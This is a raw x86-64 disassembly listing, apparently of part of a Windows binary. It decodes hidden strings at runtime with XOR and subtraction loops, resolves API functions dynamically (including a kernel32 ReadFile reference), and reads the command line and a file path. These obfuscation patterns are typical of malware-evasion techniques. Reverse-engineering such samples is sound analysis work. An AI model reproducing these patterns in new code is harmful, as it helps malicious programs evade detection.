punpckldq xmm0, xmm1
movd xmm1, eax
movzx eax, word [str.ZmvxyepEkernel32ReadFiletnwnu__GhkwaLejnhuqho65PathAppe]
pinsrw xmm1, word [0x2b3759ac6], 1
punpcklqdq xmm2, xmm0
movd xmm5, eax
movzx eax, word [0x2b3759acc]
paddw xmm2, xmm3
pinsrw xmm5, word [0x2b3759aca], 1
movd xmm0, eax
movzx eax, word [0x2b3759ad0]
punpckldq xmm1, xmm5
pinsrw xmm0, word [0x2b3759ace], 1
movd xmm4, eax
movzx eax, word [0x2b3759ad4]
pinsrw xmm4, word [0x2b3759ad2], 1
punpckldq xmm0, xmm4
punpcklqdq xmm1, xmm0
movd xmm0, eax
movzx eax, word [0x2b3759ad8]
pinsrw xmm0, word [0x2b3759ad6], 1
paddw xmm1, xmm3
movd xmm6, eax
movzx eax, word [0x2b3759adc]
pinsrw xmm6, word [0x2b3759ada], 1
movd xmm4, eax
movzx eax, word [0x2b3759ae0]
punpckldq xmm0, xmm6
pinsrw xmm4, word [0x2b3759ade], 1
movd xmm5, eax
movzx eax, word [0x2b3759ae4]
pinsrw xmm5, word [0x2b3759ae2], 1
punpckldq xmm4, xmm5
punpcklqdq xmm0, xmm4
movdqa xmm7, xmm0
movd xmm0, eax
movzx eax, word [0x2b3759ae8]
pinsrw xmm0, word [0x2b3759ae6], 1
paddw xmm7, xmm3
movd xmm6, eax
movzx eax, word [0x2b3759aec]
pinsrw xmm6, word [0x2b3759aea], 1
movd xmm4, eax
punpckldq xmm0, xmm6
pinsrw xmm4, word [0x2b3759aee], 1
movzx eax, word [0x2b3759af0]
movups xmmword [rsp + 0x3e4], xmm2
movd xmm5, eax
pinsrw xmm5, word [0x2b3759af2], 1
movzx eax, word [0x2b3759af4]
movups xmmword [rsp + 0x3f4], xmm1
movups xmmword [rsp + 0x404], xmm7
mov word [rsp + 0x426], r8w
punpckldq xmm4, xmm5
add eax, 5
movdqa xmm5, xmmword [rsp + 0x3f0]
punpcklqdq xmm0, xmm4
mov word [rsp + 0x424], ax
movabs rax, 0x78007e0058002a
paddw xmm3, xmm0
movdqa xmm0, xmmword [str.XxyjrWttyaxxyjr87aiqqmtxy3j]
mov qword [rsp + 0x430], rax
movabs rax, 0x2a007900740074
mov qword [rsp + 0x438], rdx
movabs rdx, 0x78007e00780061
movaps xmmword [rsp + 0x3a0], xmm0
movdqa xmm0, xmmword [0x2b3759cb0]
mov qword [rsp + 0x440], rax
movabs rax, 0x380072006a0079
movaps xmmword [rsp + 0x3b0], xmm0
movdqa xmm0, xmmword [0x2b3759cc0]
mov qword [rsp + 0x448], rdx
movabs rdx, 0x71006900610037
mov dword [rsp + 0x3e0], 0x5006a
movdqa xmm7, xmmword [rsp + 0x3e0]
movaps xmmword [rsp + 0x3c0], xmm0
movdqa xmm0, xmmword [0x2b3759cd0]
movups xmmword [rsp + 0x414], xmm3
movdqa xmm3, xmmword [rsp + 0x400]
mov qword [rsp + 0x450], rax
movabs rax, 0x780074006d0071
mov qword [rsp + 0x458], rdx
movabs rdx, 0x7d006a00330079
mov qword [rsp + 0x460], rax
movaps xmmword [rsp + 0x3d0], xmm0
mov qword [rsp + 0x468], rdx
movaps xmmword [rsp + 0x470], xmm7
movaps xmmword [rsp + 0x480], xmm5
movaps xmmword [rsp + 0x490], xmm3
mov rax, qword [rsp + 0x420]
movdqa xmm7, xmmword [rsp + 0x410]
movaps xmmword [rsp + 0x4a0], xmm7
mov qword [rsp + 0x4b0], rax
xor eax, eax
nop dword [rax + rax]
movzx edx, word [rsp + rax*2 + 0x430]
sub edx, 5
mov word [rsp + rax*2 + 0x430], dx
add rax, 1
cmp rax, 0x43
jne 0x2b36bb2f0
mov rax, qword [0x2b3759cf0]
mov edx, 0x2a
mov dword [rsp + 0x300], 0x7d
mov ecx, 0x2a
mov word [rsp + 0x298], dx
movdqa xmm0, xmmword [0x2b3759ce0]
movabs rdx, 0x13181013120f140b
mov qword [rsp + 0x290], rax
movabs rax, 0x133819131c0d0538
mov qword [rsp + 0x304], rax
movabs rax, 0xe1a13140f092e09
mov qword [rsp + 0x30c], rdx
mov qword [rsp + 0x314], rax
xor eax, eax
mov word [rsp + 0x31c], cx
movaps xmmword [rsp + 0x280], xmm0
nop dword [rax]
movzx edx, byte [rsp + rax + 0x304]
mov ecx, dword [rsp + 0x300]
xor edx, ecx
mov byte [rsp + rax + 0x304], dl
add rax, 1
cmp rax, 0x19
jne 0x2b36bb390
mov byte [rsp + 0x31d], 0
movq xmm0, qword [0x2b3759ad0]
mov dword [rsp + 0x1c0], 0x68
mov r12d, dword [rsp + 0x1c0]
mov r10d, dword [rsp + 0x1c0]
mov r11d, dword [rsp + 0x1c0]
mov byte [rsp + 0x19c], 0
mov ebx, dword [rsp + 0x1c0]
mov esi, dword [rsp + 0x1c0]
movzx r12d, r12b
mov edi, dword [rsp + 0x1c0]
add r11d, 2
add r10d, 1
mov ebp, dword [rsp + 0x1c0]
add esi, 4
add ebx, 3
movzx r11d, r11b
movzx r10d, r10b
mov eax, dword [rsp + 0x1c0]
add ebp, 6
add edi, 5
movzx ebx, bl
movzx ebp, bpl
movzx edi, dil
movzx esi, sil
mov r9d, dword [rsp + 0x1c0]
add eax, 7
mov r8d, dword [rsp + 0x1c0]
mov edx, dword [rsp + 0x1c0]
movzx eax, al
add r9d, 8
mov ecx, dword [rsp + 0x1c0]
shl rax, 8
xor r9d, 0x2e
add edx, 0xa
or rax, rbp
xor edx, 0x6c
add ecx, 0xb
shl rax, 8
movzx edx, dl
xor ecx, 0x6c
shl edx, 0x10
or rax, rdi
shl ecx, 0x18
shl rax, 8
or rax, rsi
shl rax, 8
or rax, rbx
lea ebx, [r8 + 9]
shl rax, 8
xor ebx, 0x64
or rax, r11
shl rax, 8
or rax, r10
shl rax, 8
or rax, r12
lea r12, [rsp + 0x304]
movq xmm7, rax
xor eax, eax
mov al, r9b
pxor xmm7, xmm0
movq qword [rsp + 0x1c4], xmm7
mov ah, bl
movq qword [rsp + 0x190], xmm7
movzx eax, ax
or eax, edx
or eax, ecx
lea rcx, [rsp + 0x1c4]
mov dword [rsp + 0x1cc], eax
mov dword [rsp + 0x198], eax
mov byte [rsp + 0x1d0], 0
movzx eax, byte [rsp + 0x1c4]
mov edx, dword [rsp + 0x1c0]
xor eax, edx
mov byte [rsp + 0x1c4], al
movzx edx, byte [rsp + 0x1c5]
mov eax, dword [rsp + 0x1c0]
add eax, 1
xor eax, edx
mov byte [rsp + 0x1c5], al
movzx edx, byte [rsp + 0x1c6]
mov eax, dword [rsp + 0x1c0]
add eax, 2
xor eax, edx
mov byte [rsp + 0x1c6], al
movzx edx, byte [rsp + 0x1c7]
mov eax, dword [rsp + 0x1c0]
add eax, 3
xor eax, edx
mov byte [rsp + 0x1c7], al
movzx edx, byte [rsp + 0x1c8]
mov eax, dword [rsp + 0x1c0]
add eax, 4
xor eax, edx
mov byte [rsp + 0x1c8], al
movzx edx, byte [rsp + 0x1c9]
mov eax, dword [rsp + 0x1c0]
add eax, 5
xor eax, edx
mov byte [rsp + 0x1c9], al
movzx edx, byte [rsp + 0x1ca]
mov eax, dword [rsp + 0x1c0]
add eax, 6
xor eax, edx
mov byte [rsp + 0x1ca], al
movzx edx, byte [rsp + 0x1cb]
mov eax, dword [rsp + 0x1c0]
add eax, 7
xor eax, edx
mov byte [rsp + 0x1cb], al
movzx edx, byte [rsp + 0x1cc]
mov eax, dword [rsp + 0x1c0]
add eax, 8
xor eax, edx
mov byte [rsp + 0x1cc], al
movzx edx, byte [rsp + 0x1cd]
mov eax, dword [rsp + 0x1c0]
add eax, 9
xor eax, edx
mov byte [rsp + 0x1cd], al
movzx edx, byte [rsp + 0x1ce]
mov eax, dword [rsp + 0x1c0]
add eax, 0xa
xor eax, edx
mov byte [rsp + 0x1ce], al
movzx edx, byte [rsp + 0x1cf]
mov eax, dword [rsp + 0x1c0]
add eax, 0xb
xor eax, edx
mov rdx, r12
mov byte [rsp + 0x1cf], al
mov byte [rsp + 0x1d0], 0
call fcn.2b3657510
mov rdi, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x68]
mov r8d, 0x104
mov rdx, rdi
call rax
mov rax, qword [rsp + 0x130]
mov r8, rdi
mov rdx, rdi
xor ecx, ecx
mov r9, qword [rsp + 0x128]
mov dword [rsp + 0x20], eax
call fcn.2b36953a0
mov rax, qword [0x2b3759cf8]
mov dword [rsp + 0x300], 0x79
mov dword [rsp + 0x148], 0xa0a1c
mov qword [rsp + 0x140], rax
movabs rax, 0x1a160b290d10013c
mov qword [rsp + 0x304], rax
mov dword [rsp + 0x30c], 0xa0a1c
movzx eax, byte [rsp + 0x304]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x304], al
movzx eax, byte [rsp + 0x305]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x305], al
movzx eax, byte [rsp + 0x306]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x306], al
movzx eax, byte [rsp + 0x307]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x307], al
movzx eax, byte [rsp + 0x308]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x308], al
movzx eax, byte [rsp + 0x309]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x309], al
movzx eax, byte [rsp + 0x30a]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x30a], al
movzx eax, byte [rsp + 0x30b]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x30b], al
movzx eax, byte [rsp + 0x30c]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x30c], al
movzx eax, byte [rsp + 0x30d]
mov edx, dword [rsp + 0x300]
mov byte [rsp + 0x1cc], 0
mov dword [rsp + 0x1c8], 0x6e6e662c
xor eax, edx
mov byte [rsp + 0x30d], al
movzx eax, byte [rsp + 0x30e]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x30e], al
mov rax, qword [0x2b3759b70]
mov byte [rsp + 0x30f], 0
mov qword [rsp + 0x1c0], rax
movabs rax, 0x30316e676c706769
mov dword [rsp + 0x430], 2
mov qword [rsp + 0x434], rax
mov dword [rsp + 0x43c], 0x6e6e662c
mov byte [rsp + 0x440], 0
movzx eax, byte [rsp + 0x434]
mov edx, dword [rsp + 0x430]
xor eax, edx
mov byte [rsp + 0x434], al
movzx eax, byte [rsp + 0x435]
mov edx, dword [rsp + 0x430]
xor eax, edx
mov byte [rsp + 0x435], al
movzx eax, byte [rsp + 0x436]
mov edx, dword [rsp + 0x430]
xor eax, edx
mov byte [rsp + 0x436], al
movzx eax, byte [rsp + 0x437]
mov edx, dword [rsp + 0x430]
xor eax, edx
mov byte [rsp + 0x437], al
movzx eax, byte [rsp + 0x438]
mov edx, dword [rsp + 0x430]
xor eax, edx
mov byte [rsp + 0x438], al
movzx eax, byte [rsp + 0x439]
mov edx, dword [rsp + 0x430]
xor eax, edx
mov byte [rsp + 0x439], al
movzx eax, byte [rsp + 0x43a]
mov edx, dword [rsp + 0x430]
mov rcx, qword [rsp + 0xa8]
xor eax, edx
mov byte [rsp + 0x43a], al
movzx eax, byte [rsp + 0x43b]
mov edx, dword [rsp + 0x430]
xor eax, edx
mov byte [rsp + 0x43b], al
movzx eax, byte [rsp + 0x43c]
mov edx, dword [rsp + 0x430]
xor eax, edx
mov byte [rsp + 0x43c], al
movzx eax, byte [rsp + 0x43d]
mov edx, dword [rsp + 0x430]
xor eax, edx
mov byte [rsp + 0x43d], al
movzx eax, byte [rsp + 0x43e]
mov edx, dword [rsp + 0x430]
xor eax, edx
mov byte [rsp + 0x43e], al
movzx eax, byte [rsp + 0x43f]
mov edx, dword [rsp + 0x430]
xor eax, edx
mov rdx, r12
mov byte [rsp + 0x43f], al
mov byte [rsp + 0x440], 0
call fcn.2b3657510
xor ecx, ecx
call rax
mov rcx, qword [rsp + 0x2e0]
cmp rcx, qword [rsp + 0x90]
je 0x2b36bb991
mov rax, qword [rsp + 0x2f0]
lea rdx, [rax + 1]
call fcn.2b37520f0
mov rcx, qword [rsp + 0x2c0]
cmp rcx, qword [rsp + 0xa0]
je 0x2b36bb9b4
mov rax, qword [rsp + 0x2d0]
lea rdx, [rax + 1]
call fcn.2b37520f0
mov rcx, qword [r15]
cmp qword [rsp + 0x88], rcx
je 0x2b36bb9ce
mov rax, qword [r15 + 0x10]
lea rdx, [rax + 1]
call fcn.2b37520f0
mov edx, 0x20
mov rcx, r15
call fcn.2b37520f0
mov rbx, qword [rsp + 0x60]
mov rcx, qword [rbx]
lea rax, [rbx + 0x10]
cmp rcx, rax
je 0x2b36bba50
mov rax, qword [rbx + 0x10]
add rbx, 0x20
lea rdx, [rax + 1]
call fcn.2b37520f0
cmp qword [rsp + 0x80], rbx
jne 0x2b36bb9e0
mov rcx, qword [rsp + 0x60]
mov edx, 0x40
call fcn.2b37520f0
nop
movaps xmm6, xmmword [rsp + 0x750]
mov eax, 1
movaps xmm7, xmmword [rsp + 0x760]
movaps xmm8, xmmword [rsp + 0x770]
add rsp, 0x788
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
add rbx, 0x20
cmp qword [rsp + 0x80], rbx
jne 0x2b36bb9e0
jmp 0x2b36bba07
mov rcx, r12
call sub.msvcrt.dll_wcslen
lea rbx, [rax + rax]
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x3a0], rsi
cmp rbx, 0xe
ja 0x2b36bbdb3
mov rcx, qword [rsp + 0x430]
mov rax, rsi
cmp rsi, 1
je 0x2b36bbd46
test rsi, rsi
je 0x2b36bbab9
mov r8, rbx
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x3a0]
mov rcx, qword [rsp + 0x430]
xor ebx, ebx
mov qword [rsp + 0x438], rax
mov word [rcx + rax*2], bx
mov ecx, 0x40
call fcn.2b3752130
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
mov r12, rax
call fcn.2b36bcb40
mov rcx, qword [rsp + 0xb0]
lea r8, [rsp + 0x138]
xor edx, edx
mov qword [rsp + 0x138], r12
call fcn.2b373bf40
mov rcx, qword [rsp + 0x430]
cmp rcx, rdi
je 0x2b36bbb24
mov rax, qword [rsp + 0x440]
lea rdx, [rax + rax + 2]
call fcn.2b37520f0
mov rcx, qword [rsp + 0x540]
cmp rcx, qword [rsp + 0x50]
je 0x2b36bacc7
mov rax, qword [rsp + 0x550]
lea rdx, [rax + rax + 2]
call fcn.2b37520f0
jmp 0x2b36bacc7
test rbx, rbx
jne 0x2b36bbee8
mov rax, qword [rsp + 0x90]
jmp 0x2b36ba561
test rax, rax
jne 0x2b36bbedb
mov rax, qword [rsp + 0xa0]
jmp 0x2b36ba4e4
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x2e0]
xor r8d, r8d
call fcn.2b373f4c0
mov qword [rsp + 0x2e0], rax
mov rcx, rax
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x2f0], rax
mov r8, rbx
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x540]
mov rax, qword [rsp + 0x2e0]
jmp 0x2b36ba561
mov rdx, qword [rsp + 0x68]
xor r8d, r8d
mov rcx, r12
call fcn.2b373f4c0
mov qword [rsp + 0x2c0], rax
mov rcx, rax
mov rax, qword [rsp + 0x430]
mov qword [rsp + 0x2d0], rax
mov rdx, qword [rsp + 0x70]
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x430]
mov rax, qword [rsp + 0x2c0]
jmp 0x2b36ba4e4
test r8, r8
je 0x2b36bbc3d
cmp r8, 1
je 0x2b36bbea2
mov rdx, qword [rsp + 0x50]
call sub.msvcrt.dll_memcpy
mov r8, qword [rsp + 0x548]
mov rcx, qword [r12 + 0x40]
mov qword [r12 + 0x48], r8
mov byte [rcx + r8], 0
mov rcx, qword [rsp + 0x540]
jmp 0x2b36b9194
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x3a0]
xor r8d, r8d
call fcn.2b373f4c0
mov rdx, qword [rsp + 0x3a0]
mov qword [rsp + 0x540], rax
mov qword [rsp + 0x550], rdx
cmp ebx, 8
jae 0x2b36bbe4f
test bl, 4
jne 0x2b36bbebe
test ebx, ebx
je 0x2b36bbcb7
movzx edx, byte [rsp + 0x430]
mov byte [rax], dl
test bl, 2
je 0x2b36bbcb7
mov rdi, qword [rsp + 0x68]
mov ebx, ebx
movzx edx, word [rdi + rbx - 2]
mov word [rax + rbx - 2], dx
mov rax, qword [rsp + 0x3a0]
mov rdx, qword [rsp + 0x540]
jmp 0x2b36b96af
mov qword [rbp + 0x40], rax
movups xmmword [rbp + 0x48], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x540], rax
lea rax, [rsp + 0x550]
mov qword [rsp + 0x50], rax
mov rcx, rax
jmp 0x2b36b8a30
lea rcx, [0x2b37599b0]
call fcn.2b3753100
mov qword [r12 + 0x40], rax
movups xmmword [r12 + 0x48], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x540], rax
lea rax, [rsp + 0x550]
mov qword [rsp + 0x50], rax
mov rcx, rax
jmp 0x2b36b9194
mov rcx, rbp
call rax
mov rax, qword [rbp + 0x30]
mov qword [rsp + 0x90], rax
jmp 0x2b36b9a20
movzx edx, word [r12]
mov word [rcx], dx
jmp 0x2b36bbab9
movzx edx, word [r12]
mov word [rcx], dx
jmp 0x2b36babbc
xor r10d, r10d
mov word [rcx], r10w
jmp 0x2b36bac39
mov esi, 0x6d
mov rdx, qword [rsp + 0x430]
mov word [rcx], si
jmp 0x2b36ba700
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
xor r8d, r8d
call fcn.2b3742d50
mov rdx, qword [rsp + 0x430]
mov qword [rsp + 0x540], rax
mov rcx, rax
mov qword [rsp + 0x550], rdx
jmp 0x2b36ba6d6
mov rcx, qword [rsp + 0x68]
lea rdx, [rsp + 0x3a0]
xor r8d, r8d
call fcn.2b3742d50
mov qword [rsp + 0x430], rax
mov rcx, rax
mov rax, qword [rsp + 0x3a0]
mov qword [rsp + 0x440], rax
jmp 0x2b36bba8f
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x3a0]
xor r8d, r8d
call fcn.2b3742d50
mov qword [rsp + 0x540], rax
mov rcx, rax
mov rax, qword [rsp + 0x3a0]
mov qword [rsp + 0x550], rax
jmp 0x2b36bac0f
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x68]
xor r8d, r8d
call fcn.2b3742d50
mov qword [rsp + 0x430], rax
mov rcx, rax
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x440], rax
jmp 0x2b36bab92
mov rdx, qword [rsp + 0x430]
lea rdi, [rax + 8]
and rdi, 0xfffffffffffffff8
mov qword [rax], rdx
mov rsi, qword [rsp + 0x68]
mov edx, ebx
mov rcx, qword [rsi + rdx - 8]
mov qword [rax + rdx - 8], rcx
sub rax, rdi
lea ecx, [rbx + rax]
sub rsi, rax
shr ecx, 3
rep movsq qword [rdi], qword [rsi]
jmp 0x2b36bbcb7
movzx eax, byte [rsp + 0x550]
mov byte [rcx], al
mov r8, qword [rsp + 0x548]
mov rcx, qword [rbp + 0x40]
jmp 0x2b36bab21
movzx eax, byte [rsp + 0x550]
mov byte [rcx], al
mov r8, qword [rsp + 0x548]
mov rcx, qword [r12 + 0x40]
jmp 0x2b36bbc3d
mov edx, dword [rsp + 0x430]
mov ebx, ebx
mov dword [rax], edx
mov rdi, qword [rsp + 0x68]
mov edx, dword [rdi + rbx - 4]
mov dword [rax + rbx - 4], edx
jmp 0x2b36bbcb7
mov rcx, qword [rsp + 0xa0]
jmp 0x2b36bbbf5
mov rcx, qword [rsp + 0x90]
jmp 0x2b36bbbaa
mov rax, qword [rsp + 0x50]
jmp 0x2b36bbc81
lea rcx, [0x2b37599de]
call fcn.2b37531f0
lea rcx, [0x2b37599b0]
call fcn.2b3753100
mov r13, qword [rsp + 0x60]
lea rcx, [0x2b37599b0]
call fcn.2b3753100
mov r13, r14
lea rcx, [0x2b37599b0]
call fcn.2b3753100
lea rcx, [0x2b37599b0]
call fcn.2b3753100
mov rcx, qword [rsp + 0x50]
jmp 0x2b36ba926
lea rcx, [0x2b37599b0]
call fcn.2b3753100
mov rcx, rsi
jmp 0x2b36ba8d6
mov rcx, qword [rsp + 0x90]
jmp 0x2b36ba823
mov rcx, qword [rsp + 0x88]
jmp 0x2b36ba7c5
movdqa xmm0, xmmword [str.IgvOqfwngHkngPco____]
mov ecx, 0x13
xor eax, eax
lea rdx, [rsp + 0x3a0]
mov word [rsp + 0x360], 0x4367
lea rsi, [rsp + 0x350]
mov rdi, rdx
mov byte [rsp + 0x362], 0
movaps xmmword [rsp + 0x350], xmm0
rep movsb byte [rdi], byte [rsi]
movzx ecx, byte [rsp + rax + 0x3a0]
sub ecx, 2
mov byte [rsp + rax + 0x3a0], cl
add rax, 1
cmp rax, 0x12
jne 0x2b36bbfb9
mov rax, qword [0x2b3759bd0]
mov ecx, 0xd
mov dword [rsp + 0x430], 0x4c
lea rdi, [rsp + 0x434]
mov byte [rsp + 0x32c], 0
lea rsi, [rsp + 0x320]
lea r12, [rsp + 0x540]
mov qword [rsp + 0x320], rax
mov dword [rsp + 0x328], 0x20202862
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [rsp + 0x434]
mov ecx, dword [rsp + 0x430]
xor eax, ecx
mov byte [rsp + 0x434], al
movzx eax, byte [rsp + 0x435]
mov ecx, dword [rsp + 0x430]
xor eax, ecx
mov byte [rsp + 0x435], al
movzx eax, byte [rsp + 0x436]
mov ecx, dword [rsp + 0x430]
xor eax, ecx
mov byte [rsp + 0x436], al
movzx eax, byte [rsp + 0x437]
mov ecx, dword [rsp + 0x430]
xor eax, ecx
mov byte [rsp + 0x437], al
movzx eax, byte [rsp + 0x438]
mov ecx, dword [rsp + 0x430]
xor eax, ecx
mov byte [rsp + 0x438], al
movzx eax, byte [rsp + 0x439]
mov ecx, dword [rsp + 0x430]
xor eax, ecx
mov byte [rsp + 0x439], al
movzx eax, byte [rsp + 0x43a]
mov ecx, dword [rsp + 0x430]
xor eax, ecx
mov byte [rsp + 0x43a], al
movzx eax, byte [rsp + 0x43b]
mov ecx, dword [rsp + 0x430]
xor eax, ecx
mov byte [rsp + 0x43b], al
movzx eax, byte [rsp + 0x43c]
mov ecx, dword [rsp + 0x430]
xor eax, ecx
mov byte [rsp + 0x43c], al
movzx eax, byte [rsp + 0x43d]
mov ecx, dword [rsp + 0x430]
xor eax, ecx
mov byte [rsp + 0x43d], al
movzx eax, byte [rsp + 0x43e]
mov ecx, dword [rsp + 0x430]
xor eax, ecx
mov byte [rsp + 0x43e], al
movzx eax, byte [rsp + 0x43f]
mov ecx, dword [rsp + 0x430]
xor eax, ecx
lea rcx, [rsp + 0x434]
mov byte [rsp + 0x43f], al
mov byte [rsp + 0x440], 0
call fcn.2b3657510
mov rdx, r12
xor ecx, ecx
mov r8d, 0x104
call rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, r12
mov rdx, rax
call fcn.2b36660b0
mov rcx, qword [rsp + 0x50]
jmp 0x2b36baa41
lea rcx, [0x2b37599b0]
call fcn.2b3753100
lea rcx, [0x2b37599b0]
call fcn.2b3753100
mov rcx, qword [rsp + 0x540]
mov r12, rax
cmp rcx, qword [rsp + 0x50]
jne 0x2b36bc25e
lea rcx, [rsp + 0x240]
call fcn.2b373beb0
lea rcx, [rsp + 0x220]
call fcn.2b373beb0
mov rcx, r12
call fcn.2b36a3710
mov rcx, rax
call fcn.2b3752280
mov rdx, r13
mov rcx, r14
call fcn.2b37177f0
call fcn.2b37528c0
mov r12, rax
jmp 0x2b36bc1b9
mov rax, qword [rsp + 0x550]
lea rdx, [rax + 1]
call fcn.2b37520f0
jmp 0x2b36bc1ac